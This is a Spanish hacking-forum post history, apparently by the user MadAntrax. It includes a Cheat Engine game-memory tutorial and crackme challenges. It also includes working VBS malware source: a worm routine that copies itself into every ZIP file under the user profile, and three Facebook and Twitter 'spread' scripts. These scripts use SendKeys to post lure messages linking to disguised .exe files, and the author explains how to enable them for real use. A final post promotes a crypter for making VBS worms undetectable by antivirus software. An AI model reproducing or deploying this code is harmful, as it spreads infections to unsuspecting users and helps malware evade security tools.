Estaremos delante de la instrucción famosa SUB que se encarga de restar la vida, así que pondremos un breakpoint en dicha instrucción (si pulsas F5 se pone el Breakpoint) o podemos hacer click derecho y seleccionar “Toggle Break Point”. Se nos quedará marcada la instrucción en verde indicando que hay un breakpoint:
 


Ahora volvemos al juego, iniciamos una pelea y dejamos que el enemigo nos golpee, verás que el juego se queda “congelado” ya que el breakpoint ha detenido la ejecución del juego así que volvemos a CE y nos encontraremos lo siguiente:


 
A la derecha aparece el stack y los registros. Lo que nos interesa son los registros para poder conocer la base-address de nuestra estructura. La instrucción es sub [ebx+50],eax por lo que el valor de EBX nos mostrará la base-address, en mi caso 03918860. Pulsamos click-derecho sobre EBX y seleccionamos “Show in hex view”:
 


Automáticamente, en la parte inferior (Hex Dump) nos mostrará la dirección de EBX (03918860), en mi caso:


 
Lo que tenemos que hacer ahora es coger esos bytes y copiarlos a nuestras notas. Yo siempre cojo 3 líneas. Para ello con el ratón seleccionamos desde el primer byte hasta el último (se quedarán marcados en rojo) y pulsamos Ctrl+C para copiar, a continuación los pegamos en nuestro fichero de texto:
 



 
Esos son los bytes que se corresponden a la base-address de la estructura de nuestro personaje. Ahora hay que repetir todos éstos pasos un mínimo de 3 veces. Para ello pulsaremos F9 en la ventana de Memory View para continuar la ejecución a partir del Breakpoint y luego cerraremos por completo el juego. Abriremos de nuevo el juego, iniciaremos una nueva partida y volveremos a seleccionar el proceso de Hack, Slash, Loot para trabajar con CE. A partir de aquí hay que repetir los pasos de éste tutorial, es decir:
•   Iniciar el Memory View
•   Ir a la instrucción que modifica la estructura, en nuestro caso HackSlashLoot.exe+150474
•   Poner un Breakpoint
•   Iniciar un combate en el juego hasta recibir daño
•   Mirar los registros (EBX) y hacer “Show in hex view”
•   Copiar los bytes al fichero de texto
•   Cerrar el juego y volverlo a iniciar para empezar de nuevo
Estos pasos los he realizado 5-6 veces y al final he conseguido las siguientes líneas:


 
Ahora solo tenemos que calcular un patrón válido partiendo de éstas muestras. Se puede hacer a mano, pero para los más perezosos he programado un script en lenguaje VBS que realizará el cálculo automáticamente

SCRIPT VBS - AOB PATTERN GENERATOR
El código VBS está en pastebin, solo tienes que copiarlo en un notepad y guardarlo con extensión *.vbs
 http://pastebin.com/tQsvbSkh
Set oWSH = CreateObject("WScript.Shell")
Set oFSO = CreateObject("Scripting.FileSystemObject")

T = InputBox("Enter array of bytes nº 1:")
T = T & vbcrlf & InputBox("Enter array of bytes nº 2:")

X = 3
While MsgBox("Do you want to introduce another array of bytes?", vbYesNo, "AoB Pattern Generator") = vbYes
   T = T & vbcrlf & InputBox("Enter array of bytes nº " & X &":")
   X = X + 1
Wend

AoB = Split(T, vbcrlf)

F = ""
W = 0
X = 0
For i = 1 To Len(AoB(0))
   For u = 1 To UBound(AoB)
      If Mid(AoB(u), i, 1) <> Mid(AoB(0), i, 1) Then
         F = F & "?"
         W = W + 1
         X = 1
         Exit For
      End If
   Next
   If X <> 1 Then F = F & Mid(AoB(0), i, 1)
   X = 0
Next

Set File = oFSO.CreateTextFile("aob.txt")
   File.Write "Original array of bytes:" & vbcrlf & vbcrlf
   File.Write Replace(T, vbcrlf & vbcrlf, vbcrlf) & vbcrlf & vbcrlf
   File.Write "Total array of bytes: " & UBound(AoB) + 1 & vbcrlf
   File.Write "Total wildcards used: " & W & vbcrlf & vbcrlf
   File.Write "Your AoB Pattern:" & vbcrlf & vbcrlf & F
File.Close

'MsgBox F

If MsgBox("AoB Patter Generator finished" & vbcrlf & vbcrlf & "Do you want to open aob.txt file?", vbYesNo, "AoB Pattern Generator") = vbYes Then
   oWSH.Run "notepad.exe aob.txt"
End If
El script comparará todos los bytes y buscará un patrón. Si un byte no coincide será sustituido por el carácter ?. Al final, mi script me dice que el Array of Bytes (AoB) es:
18 12 BB 00 0? 00 00 00 ?? ?? ?? 0? ?? ?? ?? 0? 03 00 00 00 03 00 00 00 ?? 00 00 00 ?? 00 00 00 0? 00 00 00 ?? ?? ?? 0? 00 00 00 00 ?? ?? ?? ??

Como puedes observar, se puede calcular fácilmente a mano, solo hay que sustituir los bytes que no son iguales por un simbolo de interrogación. Ahora ya tenemos un array de bytes que identificará la base-address de la estructura. Volvemos al CE, abrimos el Memory View y nos vamos al editor de Auto-Assemble (Ctrl+A) en el menu “Tools”, en el editor pegamos el siguiente código:
[ENABLE]
aobscan(player, 18 12 BB 00 0? 00 00 00 ?? ?? ?? 0? ?? ?? ?? 0? 03 00 00 00 03 00 00 00 ?? 00 00 00 ?? 00 00 00 0? 00 00 00 ?? ?? ?? 0? 00 00 00 00 ?? ?? ?? ??)
label(_player)
registersymbol(_player)
player:
_player:
[DISABLE]
unregistersymbol(_player)
Solo tendrás que sustituir el array AoB por el valor que hayas encontrado. Una vez copiado el texto vamos al menu: “File / Asign to current cheat table” para añadir el script a la tabla, obtendremos lo siguiente:


 
Mi recomendación es que edites los nombres para no confundirte:


 
El script es muy sencillo, cuando lo activamos lanzamos un AoB Scan (buscar un array de bytes) y le indicamos que busque nuestro patrón de bytes, CE localizará la coincidencia y nos devolverá el resultado en la etiqueta _player. Eso significará que podremos utilizar la etiqueta _player para referirnos al inicio de la estructura (base-address).
Volvemos al CE y seleccionamos “Add Address Manually”
 
 
En el recuadro hay que poner la dirección que queremos añadir, como la dirección es dinámica, introduciremos la variable _player, añadimos tambien una descripción para no confundirnos:
 


Pulsamos OK y se añadirá la dirección:


 
Actualmente CE no reconoce la dirección _player, por eso no muestra nada. Ahora lo que haremos es activar el script con el AoB y sucederá la magia…
 
Tachan!! CE ha ejecutado el AoB, ha buscado el patrón de bytes y ha devuelto el resultado en la variable _player, ahora CE ya sabe el valor de dicha dirección y nos muestra 0FF3AAA0 que se corresponde al actual base-addres de la estructura de nuestro personaje. A partir de aquí ya tenemos el camino hecho, solo falta completarlo.
Desactivamos el script y volvemos a pulsar “Add Address Manually”, añadiremos ahora la siguiente dirección:


 

La explicación es sencilla; estamos añadiendo una nueva dirección que será base-address+50 que según nuestras notas se corresponde al offset de la vida. Hacemos lo propio con los offsets encontrados:
•   +50   =   HP
•   +40   =   DEF
•   +34   =   Melee Atk
•   +38   =   Range Atk
•   +3c   =   Magic Atk
•   +44   =   Melee Dmg
•   +48   =   Range Dmg
•   +4c   =   Magic Dmg
Obtendremos lo siguiente:
 
Ahora que ya tenemos todos los offset introducidos solo falta activar el script AoB para recoger la estructura:


 
BAMP! De un solo golpe ya tenemos todos los valores. Además como estamos usando un AoB Scan, en la próxima ejecución del juego CE buscará la base-address y la guardará en _player, por lo que podremos visualizar y editar las direcciones dinámicas de la estructura de nuestro jugador.

Os recomiendo que con vuestro ratón ordenéis la tabla y dejéis todos los offsets “dentro” del script:


 
Para luego hacer click derecho en el script y seleccionar:


 
Así los offsets permanecerán ocultos si el script está desactivado y se mostrarán cuando activemos el script.
Bueno, pues de ésta forma se consigue encontrar un patrón de bytes que apunte a una estructura dinámica para luego sacar los offsets estáticos de su interior. Practicad!

BONUS: COMPARAR ESTRUCTURAS CON WINMERGE
TELEPORT HACK
Ya que hemos llegado hasta aquí nos podemos esforzar un poco más para terminar de rizar el rizo. Os voy a explicar como utilizar el programa WinMerge para comparar 2 estructuras y buscar los offsets de forma casi automática. Primero de todo nos descargamos WinMerge de su web y lo instalamos: http://winmerge.org/
Nuestro objetivo es crear un Teleport Hack, la mayoría de juegos almacenan en la propia estructura del personaje su posición en el plano X / Y. Si se trata de un juego en 3D tendremos un tercer eje llamado Z. En el caso de Hack, Slash, Loot, solo habrá 2 coordenadas para posicionar al jugador, vámos a intentar sacarlas.
Abrimos CE, abrimos el proceso de HSL y cargamos nuestra tabla con el pointer, los scripts en Auto-Asemble y la estructura diseccionada.
 

Pulsamos el script “Search Player Structure”, la función AoB Scan hará su trabajo y nos devolverá la estructura rellenada:


 
Hemos activado el script para cargar la base-address de la estructura de nuestro jugador en la variable _player. Ahora abrimos el Memory View y vamos al menú “Tools / Dissect data & structures”:


 
En el recuadro para la base-address podemos poner _player, CE se encargará de interpretar la variable. Abrimos el menú “Structures” y seleccionamos la estructura que ya hicimos en el capitulo anterior:


 

CE nos mostrará la estructura _player con sus offsets:


 
Ahora, sin tocar nada más, abrimos el menú: “File / Save values (Ctrl+S)” y guardamos con un nombre, por ejemplo “struct_1.txt”
A continuación volvemos al juego y desplazamos nuestro personaje un par de casillas, asegurando que mueves tanto el eje X como el Y (por ejemplo, moviéndote una casilla arriba y otra a la derecha). Volvemos a la ventana de “Structure dissect” y pulsamos de nuevo menú: “File / Save values (Ctrl+S)” para guardar la estructura, pondremos otro nombre, por ejemplo “struct_2.txt”
Ahora ya tenemos 2 ficheros de texto con la misma estructura pero con el personaje en 2 posiciones diferentes. Toca hacer trabajar a WinMerge para conocer las diferencias de ambos ficheros:


 
Cargamos los 2 ficheros para comparar y pulsamos Aceptar, WinMerge nos mostrará cualquier línea que esté diferente:


 
Y aquí tenemos claramente las diferencias, offsets +18 +1C. En la primera estructura tenian el valor de 48/14 y luego han pasado a 47/15. Ahora solo queda identificar que offset es la X o la Y y crear la dirección manual como ya vimos anteriormente:




 
 
Finalmente guardamos los cambios en nuestra tabla, activamos el script y nos movemos por la pantalla para ver funciona. Los valores de X/Y se pueden editar a mano para desplazar al jugador por la pantalla. También se podría crear un Auto-Assemble script que almacene la posición actual de X/Y y luego con un hotkey volver a setear los offsets al valor guardado para hacer un teleport-hack. Pero eso ya es algo más avanzado y tengo demasiado sueño como para seguir expllicando cosas.


DESPEDIDA
Bueno, hasta aquí el tutorial, espero que os haya gustado, me ha tomado 2 días escribirlo, tomar las fotos y maquetarlo. Espero que lo disfruten y puedan probar todas y cada una de las cosas que he explicado. Nos vemos por el foro…

MadAntrax – 26/04/2014

[eof]


Descargar PDF:
http://ns2.elhacker.net/Tutorial_Cheat_Engine_Avanzado.pdf

** Intentaré hablar con el-brujo para ver si existe alguna forma automática de traducir el tutorial a BB-Code y postearlo en el foro, por el momento posteo el ZIP para que lo podáis descargar.

http://ns2.elhacker.net/Tutorial CheatEngine Avanzado - MadAntrax.zip

Saludos! Espero respuestas y críticas (aunque sean negativas)
13  Programación / Scripting / [APORTE] [VBS] Añade una ventana Debug para tus scripts! en: 16 Abril 2014, 14:49
Muy buenas a todos

Como está de moda programar en VBS, os dejo el siguiente aporte. Se trata de un pequeño script que permite añadir una ventana de "debug" para que podamos depurar y programar mejor cualquier script en VBS.

La idea la he sacado de stackoverflow, básicamente se trata de una pequeña función que crea una instancia de Internet Explorer en la que se irá añadiendo cualquier evento que nosotros queramos, con su TimeStamp. Para ello haremos lo siguiente:

Creamos un nuevo fichero que llamaremos debug.vbs con el siguiente código:

Código
  1. Dim oMIE
  2.  
  3. Function Debug(T)
  4. If Not IsObject( oMIE ) Then
  5. Set oMIE = CreateObject("InternetExplorer.Application")
  6. oMIE.Navigate "about:blank"
  7. oMIE.Visible = True
  8. oMIE.ToolBar = False
  9. oMIE.Width   = 1300
  10. oMIE.Height  = 250
  11. oMIE.Left    = 0
  12. oMIE.Top     = Eval(750 - 250)
  13. Do While oMIE.Busy
  14. WScript.Sleep 100
  15. Loop
  16. oMIE.Document.Title = "VBS Debug Window"
  17. oMIE.Document.Body.InnerHTML = "<b>" & WScript.ScriptName & "</b></br></br>"
  18. End If
  19. oMIE.Document.Body.InnerHTML = oMIE.Document.Body.InnerHTML & "<code>" & Now & " >> " & T & "</code><br>" & vbCrLf
  20. End Function

Éste fichero debug.vbs te servirá para cualquier futuro script VBS que quieras "debuggear". Luego, en cualquier proyecto VBS, solo tendremos que añadir las siguientes líneas al inicio del código:

Código
  1. Sub LoadDebug
  2.    Set FSO = CreateObject("Scripting.FileSystemObject")
  3.    Set objFile = FSO.OpenTextFile("debug.vbs")
  4. strCode = objFile.ReadAll
  5.    objFile.Close
  6.    ExecuteGlobal strCode
  7. Set objFile = Nothing
  8. Set FSO = Nothing
  9. End Sub
  10.  
  11. Call LoadDebug

Para llamar a la función Debug, añadiremos la siguiente línea:

Código
  1. Debug "ejemplo"

Así de sencillo, os dejo un ejemplo de código y se resultado con la ventana de Debug:

Código
  1. A = 100
  2. B = 5
  3.  
  4. C = A * B
  5.  
  6. Debug "C = " & C
  7.  
  8. Debug "My path is " & WScript.ScriptFullName
  9. Debug "Wait 2 seconds"
  10. WScript.Sleep 2000
  11.  
  12. V = "This is a example of string"
  13.  
  14. V = Replace(V,"i","X")
  15.  
  16. Debug "My replaced string: " & V
  17.  
  18. '.......
  19.  
  20.  
  21.  
  22. Debug "end >> WScript.Quit;"
  23. WScript.Quit



Saludos!!

PD: Hay programas y editores VBS que añaden debugger reales (por ejemplo VbsEdit http://www.vbsedit.com/) pero aquí les traigo algo hand-made, gratis y divertido.
14  Programación / Scripting / [VBS] Función para hacer "spread" a fichero ZIP en: 10 Abril 2014, 09:49
Muy buenas a todos

Os traigo una pequeña función en VBS (fácilmente exportable a otros lenguajes) para infectar ficheros .zip de un disco duro. La función buscará todos los ficheros ZIP de forma recursiva en una ruta, si encuentra un fichero lo abrirá y recogerá los nombres de cada fichero comprimido, finalmente si no existe una copia del gusano en el interior del ZIP, lo infectará copiándose a si mismo:


Recomiendo el uso de Notepad++ en cuanto a programación VBS se refiere. El código queda perfectamente iluminado (highlight sintaxis). Detallo los pasos del script:

1) Creación de variables para el uso del script:

Código:
Set oWSH = CreateObject("WScript.Shell")
Set oFSO = CreateObject("Scripting.FileSystemObject")

SelfPath = WScript.ScriptFullName
SelfName = WScript.ScriptName

2) Recoger la ruta de los ficheros de la carpeta %userprofile%

Código:
   Set Folds = oFSO.GetFolder(P)
    Set Files = Folds.Files

3) Recoger la extensión de cada fichero encontrado, busca si es un .zip

Código:
ext = LCase(oFSO.GetExtensionName(File.path))

4) Creación de un objeto que permite trabajar con carpetas ZIP

Código:
Set FILE = CreateObject("Shell.Application").NameSpace(ZIP)

5) Abre el fichero .zip y busca si existe el gusano en su interior. Si no existe se copiará para infectar el fichero .zip

Código:
If Not InStr(RR,SelfName) > 0 Then
FILE.CopyHere EXE 'Spread to ZIP
F.Write ZIP & vbcrlf 'Log zipfile to TXT
WScript.Sleep 500 'Important!
End If

6) Buscamos si hay sub-carpetas, de ser así lanzaremos la búsqueda con la nueva ruta. Consiguiendo una infección recursiva en todo el árbol de directorios:

Código:
   Set File = Folds.Subfolders
    For Each Subfol In File
        Call ZipSpread(Subfol.path)
    Next

==========================================

El ejemplo dropea un fichero TXT con la ruta de los ficheros ZIP infectados. Si queréis probar el ejemplo os recomiendo que editéis la línea del final y pongáis una ruta pequeña con algunos ficheros ZIP a modo de prueba:

Código:
ZipSpread("C:\carpeta_prueba")

Os dejo el código en formato copypaste:

Código
  1. On Error Resume Next
  2.  
  3. Set oWSH = CreateObject("WScript.Shell")
  4. Set oFSO = CreateObject("Scripting.FileSystemObject")
  5.  
  6. SelfPath = WScript.ScriptFullName
  7. SelfName = WScript.ScriptName
  8.  
  9. Function ZipSpread(P)
  10.    On Error Resume Next
  11.    Set Folds = oFSO.GetFolder(P)
  12.    Set Files = Folds.Files
  13.  
  14.    For Each File In Files
  15.        ext = LCase(oFSO.GetExtensionName(File.path))
  16.        If ext = "zip" Then
  17. EXE = SelfPath
  18. ZIP = File.path
  19. Set FILE = CreateObject("Shell.Application").NameSpace(ZIP)
  20. RR = ""
  21. For Each CC in FILE.Items
  22. RR = RR & CC.Name
  23. Next
  24. If Not InStr(RR,SelfName) > 0 Then
  25. FILE.CopyHere EXE 'Spread to ZIP
  26. F.Write ZIP & vbcrlf 'Log zipfile to TXT
  27. WScript.Sleep 500 'Important!
  28. End If
  29.        End If
  30.    Next
  31.    Set File = Folds.Subfolders
  32.    For Each Subfol In File
  33.        Call ZipSpread(Subfol.path)
  34.    Next
  35. End Function
  36.  
  37. Set F = oFSO.CreateTextFile("ZipSpread_report.txt")
  38. ZipSpread(oWSH.ExpandEnvironmentStrings("%USERPROFILE%"))
  39. F.Close
  40.  
  41. MsgBox "<end>"

Saludos!! :D
15  Programación / Ingeniería Inversa / Tomate crackme (MCKSys te reto de nuevo!) en: 27 Marzo 2014, 08:16
Bueno, visto que el amigo MCKSys viola todos mis crackmes en cuestión de minutos/horas, he decidido ponerme serio. Hoy les traigo un nuevo crackme/unpackme:


Nombre: Tomate Crackme
Tipo: Unpackme / Patchme / Serialme / KeygenMe
Dificultad: 4.5/10
Packed: YES
Protected: YES
Info: Anti-Patch + Anti-VM + Anti-Debug (2 methods)
Goal: Descubrir el serial correcto y que aparezca el mensaje de felicitación. (En cada PC es un serial único)[/center]

https://www.mediafire.com/?6yo56ym5avpjmg3

- Desempacar el crackme
- Deshabilitar la NAG, cualquier método es válido (incluso parchear).
- Descubrir el serial válido correspondiente al WHID generado
- Programar un KEYGEN

Si todo se resuelve correctamente, al pulsar el botón "Register", aparecerá una venatana de felicitación (la ventana puede tardar unos segundos en aparecer). Cuando consigas resolver el crackme, postea una foto enseñando el mensaje de felicitación, así como tu HWID y serial generado.

Podéis usar el hilo para pedir pistas o ayuda. Si no podéis programar un KEYGEN, al menos postead un tuto. Suerte a todos!! :D
16  Programación / Ingeniería Inversa / [Unpackme / Crackme / Serialme] - MadAntrax os reta de nuevo! en: 21 Marzo 2014, 00:43
Buenassss

Hacia meses que no me pasaba por ésta sección. He estado liado programando cosas, y entre código y código se me ocurrió un nuevo reto para vosotros:


  • Nombre: Serialme_AXE
  • Tipo: Upackme / Serialme
  • Dificultad: 4/10
  • Packed: YES
  • Protected: YES
  • Info: Descubrir el serial correcto. En cada PC es un serial único.

https://www.mediafire.com/?1eunhek5fdu4f5u

Suerte a los participantes!! Si alguien consigue sacar el serial, estaría bien un pequeño tutorial explicativo y luego el keygen (el keygen es muy fácil una vez descubres como trabaja el crackme). Se pueden pedir pistas en éste hilo.

Ánimo!! Espero al menos llegar al suficiente nivel como para que MCKSys no me reviente el reto en 2 horas xD
17  Seguridad Informática / Análisis y Diseño de Malware / MOVIDO: [AYUDA][VBS] Pasar varios argumentos en un acceso directo en: 11 Marzo 2014, 09:51
El tema ha sido movido a Scripting.

http://foro.elhacker.net/index.php?topic=410344.0
18  Seguridad Informática / Análisis y Diseño de Malware / [VBS] [SOURCE] Facebook y Twitter Spread en: 4 Marzo 2014, 23:26
Hola a todos

Como algunos ya habréis visto, estoy retomando mis tiempos mozos de programación. Ando liado desarrollando virus, troyanos y gusanos. Hoy vengo a compartir 3 funciones de Spread que permitirán reproducir una infección vírica usando Facebook (2 métodos) y Twitter (1 método)

El funcionamiento es muy simple. Primero de todo se tienen que dar unas circunstancias para que el "spread" sea efectivo, he realizado pruebas con usuarios reales y me he quedado asombrado con la efectividad de éste "spread". El código se aprovecha de los atajos de teclado que hay en las web's de FB y TW. Eso significa que si cambian los atajos, la función dejará de funcionar... Empecemos con la primera:

Spread usando mensajes personales de Facebook

Primero de todo, os contaré las pulsaciones que ejecuta el script para que las podáis testear en vuestro propio FB, es muy fácil:

1. Entra en www.facebook.com
2. Inicia sesión en tu perfil
3. Pulsa la combinación de teclas: ALT+M
4. Pulsa una tecla (la letra C por ejemplo)
5. Pulsa Enter y Tabulador
6. Escribe un texto y pulsa Enter

Si lo has hecho bien, verás que has enviado un mensaje a un contacto de tu lista de amigos. Pues bien, el script automatiza todas esas acciones en el PC de la víctima:

Código
  1. Set WS = CreateObject("WScript.Shell")
  2. call fb_msg_spread("holaa, te he etiquetado en esta foto http://www.servidor.com/mifoto.exe")
  3.  
  4. Function FB_MSG_Spread(X)
  5. Randomize
  6. C = Chr(Int(rnd*26)+97)
  7.  
  8. WS.run "http://www.facebook.com"
  9. WScript.Sleep 5000
  10.  
  11. WS.SendKeys "%m"
  12. WScript.Sleep 500
  13.  
  14. For i = 1 to Int(rnd*5)+2
  15. WS.SendKeys C
  16. WScript.Sleep 500
  17. WS.SendKeys "{ENTER}"
  18. Next
  19.  
  20. WScript.Sleep 500
  21. WS.SendKeys "{TAB}"
  22. WScript.Sleep 500
  23. WS.SendKeys X
  24. WScript.Sleep 500
  25. 'WS.SendKeys "{ENTER}"
  26. End Function

Copiad ese código TAL CUAL en un fichero de texto y lo guardáis como VBS. La última linea esta comentada, por lo que no os preocupéis, no se va a mandar ningún mensaje a ningún contacto vuestro.

Ahora ejecutad el fichero y mirar como se reproduce la secuencia de comandos. El script calcula una letra al azar y la utiliza para enviar el mensaje a varios contactos simultaneamente. Para utilizar éste código de forma real, quita el comentario de la última línea y ya tendrás un estupendo spread por Facebook.



Spread usando noticias del muro de Facebook

Éste metodo es parecido al anterior, pero utiliza las teclas J y C para buscar una noticia al azar y enviar el comentario:

Código
  1. Set WS = CreateObject("WScript.Shell")
  2. call fb_txt_spread("ei, creo que te han etiquetado sin tu permiso! http://www.servidor.com/lafoto.exe")
  3.  
  4. Function FB_TXT_Spread(X)
  5. Randomize
  6.  
  7. WS.run "http://www.facebook.com"
  8. WScript.Sleep 5000
  9.  
  10. For i = 1 to Int(rnd*5)+1
  11. WS.SendKeys "j"
  12. WScript.Sleep 800
  13. Next
  14.  
  15. WS.SendKeys "c"
  16. WScript.Sleep 800
  17. WS.SendKeys X
  18. WScript.Sleep 500
  19. 'WS.SendKeys "{ENTER}"
  20. WScript.Sleep 500
  21. WS.SendKeys "{TAB}"
  22. WScript.Sleep 500
  23. WS.SendKeys "{TAB}"
  24. WScript.Sleep 500
  25. WS.SendKeys "j"
  26. End Function

De igual modo que en el ejemplo anterior, podéis ejecutar éste script ya que la tecla ENTER está comentada y no hay riesgo. Para utilizar el script en un entorno real, quitad el comentario.



Spread usando un tweet en Twitter

Lo mismo que los anteriores casos, utilizando la tecla M para mandar un tweet:

Código
  1. Set WS = CreateObject("WScript.Shell")
  2. call tw_txt_spread("Acabo de publicar un album de fotos http://www.servidor.com/photo_album.exe")
  3.  
  4. Function TW_TXT_Spread(X)
  5. Randomize
  6.  
  7. WS.run "http://www.twitter.com"
  8. WScript.Sleep 6000
  9.  
  10. WS.SendKeys "n"
  11. WScript.Sleep 800
  12. WS.SendKeys X
  13. WScript.Sleep 500
  14. WS.SendKeys "{TAB}"
  15. WScript.Sleep 500
  16. 'WS.SendKeys "{ENTER}"
  17. End Function

Podéis probar el código, ya que la tecla ENTER también está comentada.





Bueno, espero que os haya gustado y que haya quedado clara mi explicación. Insisto, los script que he puesto los podéis probar en vuestro PC, ya que la línea que envía el mensaje a los contactos está deshabilitada con el comentario, así que no hay riesgo.

Saludos!! :D
19  Programación / Programación Visual Basic / [SOURCE] - Cactus VBS Crypter 1.0 en: 4 Marzo 2014, 00:44
Buenas a todos, amigos del Visua Basic jajaja

Os dejo el programa + source completo de mi última creación:



Es un encriptador para fichero VBS, en proximas versiones añadiré más algoritmos.
A destacar el trabajo de la GUI, tiene muchos efectos, particulas y musicas.

Saludos!!!

POST ORIGINAL: http://foro.elhacker.net/analisis_y_diseno_de_malware/cactus_vbs_crypter_10-t409804.0.html (el source está en el link)
20  Seguridad Informática / Análisis y Diseño de Malware / Cactus VBS Crypter 1.0 en: 4 Marzo 2014, 00:33
Buenas a todos

Os traigo una nueva herramienta, Cactus VBS Crypter 1.0

Es una pequeña tool (sencilla) que cifra cualquier fichero VBS para ofuscar su código y evitar la detección por firmas de los AntiVirus. Permite dejar un fichero completamente FUD (Full Undetected).


El funcionamiento es muy sencillo, seleccionamos un fichero VBS, la cifrado deseada y pulsamos el botón "Encrypt VBS".

Por el momento, en ésta versión 1.0 solo he implementado un Engine para cifrar. En próximas versiones añadiré los algoritmos que faltan. Cada fichero cifrado con SAE es generado utilizando una semilla aleatoria de 0 hasta 10, por lo que un mismo fichero puede ser cifrado de 10 formas diferentes. Además con las opciones avanzadas podrás utilizar variables aleatorias para burlar la heurística de los AV.

Como todos mis proyectos, Cactus VBS Crypter es gratis y OpenSource.

Está programado 100% usando VisualBasic 6.0
Los efectos de la GUI también son programados en VB.

Os dejo un ejemplo de h-worm antes y después de ser cifrado:

               Filename :h-worm sample.vbs
               Type : File
               Filesize : 14266 bytes
               Date : 04/03/2014 - 00:16 GMT+2
               MD5 : c967656a556acb11b84ab5e747174b8f
               SHA1 : bd068ef682f12ca08305b5a6fd1e6d04584afea5
               Status : Infected
               Result :25/35
               
                  AVG Free - Virus found VBS/Downloader.Agent
                  ArcaVir - Heur.VBS.Generic.23
                  Avast - VBS:Agent-AOZ [Trj]
                  AntiVir (Avira) - VBSOKgent.BH.3
                  BitDefender - Worm.VBS.Dunihi.BC
                  VirusBuster Internet Security - HTML.Psyme.Gen
                  Clam Antivirus - OK
                  COMODO Internet Security - OK
                  Dr.Web - Trojan.Hworm.1
                  eTrust-Vet - VBS/Jenxcus.A
                  F-PROT Antivirus - VBS/Dunihi.A (exact)
                  F-Secure Internet Security - OK
                  G Data - Worm.VBS.Dunihi.BC, VBS:Dropper-DK [Trj]
                  IKARUS Security - Virus.VBS.Downloader
                  Kaspersky Antivirus - Worm.VBS.Dinihou.a
                  McAfee - VBSOKutorun.worm.aapj
                  MS Security Essentials - Worm:VBS/Jenxcus.K
                  ESET NOD32 - Worm.VBSOKgent.NDH
                  Norman - text/Dunihi.B
                  Norton Antivirus - OK
                  Panda Security - OK
                  A-Squared - Worm.VBS.Dunihi.BC (B)
                  Quick Heal Antivirus - VBS/HBraker.NO
                  Solo Antivirus - OK
                  Sophos - VBS/Dinihou-G
                  Trend Micro Internet Security - VBS_DUNIHI.SM2
                  VBA32 Antivirus - OK
                  Zoner AntiVirus - OK
                  Ad-Aware - Worm.VBS.Jenxcus.ah (v)
                  BullGuard - Worm.VBS.Dunihi.BC
                  Immunet Antivirus - OK
                  K7 Ultimate - NetWorm ( 0040f5f81 )
                  NANO Antivirus - Trojan.Script.Hworm.cbxvbd, Trojan.Script.Agent.chhpqc, Trojan.Script.Qhost.chhpdx
                  Panda CommandLine - OK
                  VIPRE - Worm.VBS.Jenxcus.ah (v)



               Filename : 7871_SAE.vbs
               Type : File
               Filesize : 47171 bytes
               Date : 04/03/2014 - 00:20 GMT+2
               MD5 : 387ae20ac7f3930ca8d866ea5e3b77d5
               SHA1 : ae47567be4de52035987ca3d76034b0cba369be5
               Status : Clean
               Result :0/35
               
                  AVG Free - OK
                  ArcaVir - OK
                  Avast - OK
                  AntiVir (Avira) - OK
                  BitDefender - OK
                  VirusBuster Internet Security - OK
                  Clam Antivirus - OK
                  COMODO Internet Security - OK
                  Dr.Web - OK
                  eTrust-Vet - OK
                  F-PROT Antivirus - OK
                  F-Secure Internet Security - OK
                  G Data - OK
                  IKARUS Security - OK
                  Kaspersky Antivirus - OK
                  McAfee - OK
                  MS Security Essentials - OK
                  ESET NOD32 - OK
                  Norman - OK
                  Norton Antivirus - OK
                  Panda Security - OK
                  A-Squared - OK
                  Quick Heal Antivirus - OK
                  Solo Antivirus - OK
                  Sophos - OK
                  Trend Micro Internet Security - OK
                  VBA32 Antivirus - OK
                  Zoner AntiVirus - OK
                  Ad-Aware - OK
                  BullGuard - OK
                  Immunet Antivirus - OK
                  K7 Ultimate - OK
                  NANO Antivirus - OK
                  Panda CommandLine - OK
                  VIPRE - OK
            

DESCARGA: https://www.mediafire.com/?8t7ok9se572dkx7
               
PD: Me ha costado más tiempo programar la GUI y los efectos que el propio programa. jajajajaja
Páginas: 1 [2] 3 4 5 6 7 8 9 10
Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines